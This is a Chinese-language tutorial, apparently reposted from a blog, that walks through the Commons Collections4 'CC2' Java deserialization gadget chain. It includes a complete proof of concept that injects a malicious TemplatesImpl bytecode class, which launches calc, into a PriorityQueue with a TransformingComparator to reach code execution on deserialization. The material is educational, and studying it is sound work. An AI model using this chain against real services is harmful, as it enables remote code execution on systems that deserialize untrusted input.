Java--cc2链反序列化漏洞&超级清晰详细

wangqiang

​Java--cc2链反序列化漏洞&超级清晰详细
转载自https://www.cnblogs.com/byErichas/p/15749668.html

00x1环境搭建
--jdk 1.8
--用maven在pom文件中添加cc库依赖
添加上下面：

1. <dependencies>
   
2.         <dependency>
   
3.             <groupId>org.apache.commons</groupId>
   
4.             <artifactId>commons-collections4</artifactId>
   
5.             <version>4.0</version>
   
6.         </dependency>
   
7. 
   
8.         <dependency>
   
9.             <groupId>org.javassist</groupId>
   
10.             <artifactId>javassist</artifactId>
    
11.             <version>3.22.0-GA</version>
    
12.         </dependency>
    
13.     </dependencies>

复制代码

​

00x2前置知识

Java cc链是什么，cc指的是commons-collections依赖库。它添加了许多强大的数据结构类型并且实现了各种集合工具类。
它被广泛的用于Java应用开发中。

PriorityQueue

PriorityQueue优先级队列是基于优先级堆的一种特殊队列，会给每个元素定义出”优先级“，取出数据的时候会按照优先级来取。
默认优先级队列会根据自然顺序来对元素排序。
而想要放入PriorityQueue的元素，就必须实现Comparable接口，PriorityQueue会根据元素的排序顺序决定出队的优先级。
如果没有实现 Comparable 接口，PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

​

可以看到它继承了AbstractQueue抽象类并且实现了Serializable接口，这就说明它支持反序列化
再来看看它重写的readObject()方法

​

可以看到上面的方法会调用ObjectInputStream 的实例化对象s把queue中的数据进行反序列化
最后再用heapify();来对数据排序，再跟进一下heapify()方法

该方法调用siftDown()方法

​

​

在 comparator 属性不为空的情况下，调用 siftDownUsingComparator() 方法

​

如果为空前面也提过了会创建Comparable比较器并调用compare()方法来排序

​

这样反序列化后的优先级队列就有了顺序。

TransformingComparator

这是触发漏洞的关键点，把Transformer执行点和PriorityQueue触发点结合起来。
用Transformer来装饰一个Comparator(比较器)，通俗点说就是先把值给Transformer转换，再传递给Comparator比较。
初始化配置 Transformer和Comparator

​

compare()方法会先用this.transformer.transform(obj1)方法来转换两个要比较的值
然后再调用compare()方法比较。


TemplatesImpl

TemplatesImpl 的属性 _bytecodes 存储了类字节码
TemplatesImpl 类的部分方法可以使用这个类字节码去实例化这个类，这个类的父类需是 AbstractTranslet。
所以我们构造的恶意类TestTemplateslmpl里面有写到，该类extend AbstractTranslet：

​

在这个类的无参构造方法或静态代码块中写入恶意代码，再借 TemplatesImpl 之手实例化这个类触发恶意代码。


00x3漏洞利用分析
先来看看构造的恶意类TestTemplatesImpl：

1. package cc2;
   
2. 
   
3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
   
4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
   
5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
   
6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
   
7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
   
8. 
   
9. public class TestTemplatesImpl extends AbstractTranslet {
   
10. 
    
11.     public TestTemplatesImpl() {
    
12.         super();
    
13.         try {
    
14.             Runtime.getRuntime().exec("calc");
    
15.         }catch (Exception e){
    
16.             e.printStackTrace();
    
17.         }
    
18.     }
    
19. 
    
20.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
21. 
    
22.     }
    
23. 
    
24.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
25. 
    
26.     }
    
27. }

复制代码

这里的TestTemplatesImpl()方法会取执行弹计算器命令

核心代码poc，这是网上找的一个poc

1. package cc2;
   
2. 
   
3. import javassist.ClassPool;
   
4. import javassist.CtClass;
   
5. import org.apache.commons.collections4.comparators.TransformingComparator;
   
6. import org.apache.commons.collections4.functors.InvokerTransformer;
   
7. 
   
8. import java.io.*;
   
9. import java.lang.reflect.Constructor;
   
10. import java.lang.reflect.Field;
    
11. import java.util.PriorityQueue;
    
12. 
    
13. public class Poc {
    
14.     public static void main(String[] args) throws Exception {
    
15.         //构造恶意类TestTemplatesImpl并转换为字节码
    
16.         ClassPool classPool = ClassPool.getDefault();
    
17.         CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl");
    
18.         byte[] bytes = ctClass.toBytecode();
    
19.         System.out.println(bytes);
    
20. 
    
21.         //反射创建TemplatesImpl
    
22.         Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    
23.         Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
    
24.         Object TemplatesImpl_instance = constructor.newInstance();
    
25. 
    
26.         //将恶意类的字节码设置给_bytecodes属性
    
27.         Field bytecodes = aClass.getDeclaredField("_bytecodes");
    
28.         bytecodes.setAccessible(true);
    
29.         bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});
    
30. 
    
31.         //设置属性_name为恶意类名
    
32.         Field name = aClass.getDeclaredField("_name");
    
33.         name.setAccessible(true);
    
34.         name.set(TemplatesImpl_instance, "TestTemplatesImpl");
    
35. 
    
36.         //构造利用链
    
37.         InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
    
38.         TransformingComparator transformer_comparator = new TransformingComparator(transformer);
    
39. 
    
40.         //触发漏洞
    
41.         PriorityQueue queue = new PriorityQueue(2);
    
42.         queue.add(1);
    
43.         queue.add(1);
    
44. 
    
45.         //设置comparator属性
    
46.         Field field = queue.getClass().getDeclaredField("comparator");
    
47.         field.setAccessible(true);
    
48.         field.set(queue, transformer_comparator);
    
49. 
    
50.         //设置queue属性
    
51.         field = queue.getClass().getDeclaredField("queue");
    
52.         field.setAccessible(true);
    
53.         //队列至少需要2个元素
    
54.         Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance};
    
55.         field.set(queue, objects);
    
56. 
    
57.         //序列化 ---> 反序列化
    
58.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
    
59.         ObjectOutputStream oos = new ObjectOutputStream(barr);
    
60.         oos.writeObject(queue);
    
61.         oos.close();
    
62.         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    
63.         Object object = ois.readObject();
    
64.     }
    
65. }

复制代码

来逐步分析
这里是用了javassist动态构造了我们恶意类的字节码，当然也可以直接编译成class文件，然后用二进制字节码来存储

​

之前学习fastjson反序列化的时候就是利用的TenplatesImpl已经详细分析过了，其中的_bytecodes属性和defineTransletClasses()方法。
这里是用ClassPool 和CtClass来生成恶意类的字节码

​

我们反射创建TemplatesImpl类，这没什么好说的，反射获取到了TemplatesImpl_instance对象作为TemplatesImpl类的实例化

​

通过Field来获取_bytecodes属性，这里调用的getDeclaredField()方法，并设置setAccessible(true);能获取到所有属性包括Privatie的

​

获取到_bytecodes属性后把我们生成的恶意类字节码bytes给set赋值到里面去

1. bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});

复制代码

之前分析过想调用到defineTransletClasses()方法就要保证  _name不为空,getTransletInstance()用defineTransletClasses()来加载字节码生成类
并且下面语句实例化恶意类

1. AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

复制代码

​

getTransletInstance()会去调用defineTransletClasses()，又会继续调用ClassLoader的defineClass来加载我们的字节码（这到ClassLoader已经底层类加载了）来生成恶意类

1. loader.defineClass(_bytecodes[i]);

复制代码

​

所以接下来的poc是设置_name为我们的恶意类名，保证它不为空

​

通过ALT+F7 getTransletInstance()方法找到了在TemplatesImpl类中有一个newTransformerImpl()方法内部调用了getTransletInstance()方法能成功调用

​

那么再来看看这个newTransformerImpl()方法是什么
它会返回一个transformer，怎么调用这个方法呢？

1.     public synchronized Transformer newTransformer()
   
2.         throws TransformerConfigurationException
   
3.     {
   
4.         TransformerImpl transformer;
   
5. 
   
6.         transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
   
7.             _indentNumber, _tfactory);
   
8. 
   
9.         if (_uriResolver != null) {
   
10.             transformer.setURIResolver(_uriResolver);
    
11.         }
    
12. 
    
13.         if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
    
14.             transformer.setSecureProcessing(true);
    
15.         }
    
16.         return transformer;
    
17.     }

复制代码

这里在网上找到：InvokerTransformer类中有一个transform()方法会根据传入的 iMethodName，iParamTypes，iArgs这三个成员属性来执行class对象的某个方法
并且这三个属性是根据InvokerTransformer类的构造传入的
然后通过InvokerTransformer类的transform()方法来调用newTransformerImpl()方法。


因此我们需要实现Transform和Serializable接口的类，这就是前面前置知识提到的TransformingComparator类了，他是满足的。
也就有了poc中的通过方法名newTransformerImpl()也就是我们想要调用到的方法
通过  InvokerTransformer类来获取到，这里可控属性transformer
将InvokerTransformer传递给TransformingComparator

​

现在链子以及构建好了，需要找到方法让它触发
这里需要的方法是既实现了Serializeable接口也就是重写了readObject()方法的，又要使用Comparator比较器的。
那么就是我们前面所提到的PriorityQueue集合了！！
该队列的comparator属性我们可以指定成TransformingComparator比较器的，这样就可以调用TransformingComparator的compare()方法了
并且把比较对象设置成TemplatesImpl类的对象
因此我们只需要在PriorityQueue集合中添加两个TemplatesImpl对象作为集合元素就可以触发之前构造的利用链。

先实例化一个PrioritQueue对象，我们可控comparator属性，填入两个元素

​

然后设置comparator的属性，通过Field获取到对应的属性，然后传入comparator和queue属性
注意这里因为是比较队列至少需要两个元素，所以我们传入两个TemplatesImpl_instance对象

​

接下来就是熟悉的序列化再反序列化出来了也就是模拟一边数据传输流了

​

然后成功执行了我们的恶意类，造成rce

​

00x4总结
最后花了一个小时重新整理出来的一个完整cc2链调用过程，是逆序的，确实这个分析起来比较绕

​

参考:
https://blog.csdn.net/qq_35733751/article/details/118890261
https://su18.org/post/ysoserial-su18-2/#commonscollections2
​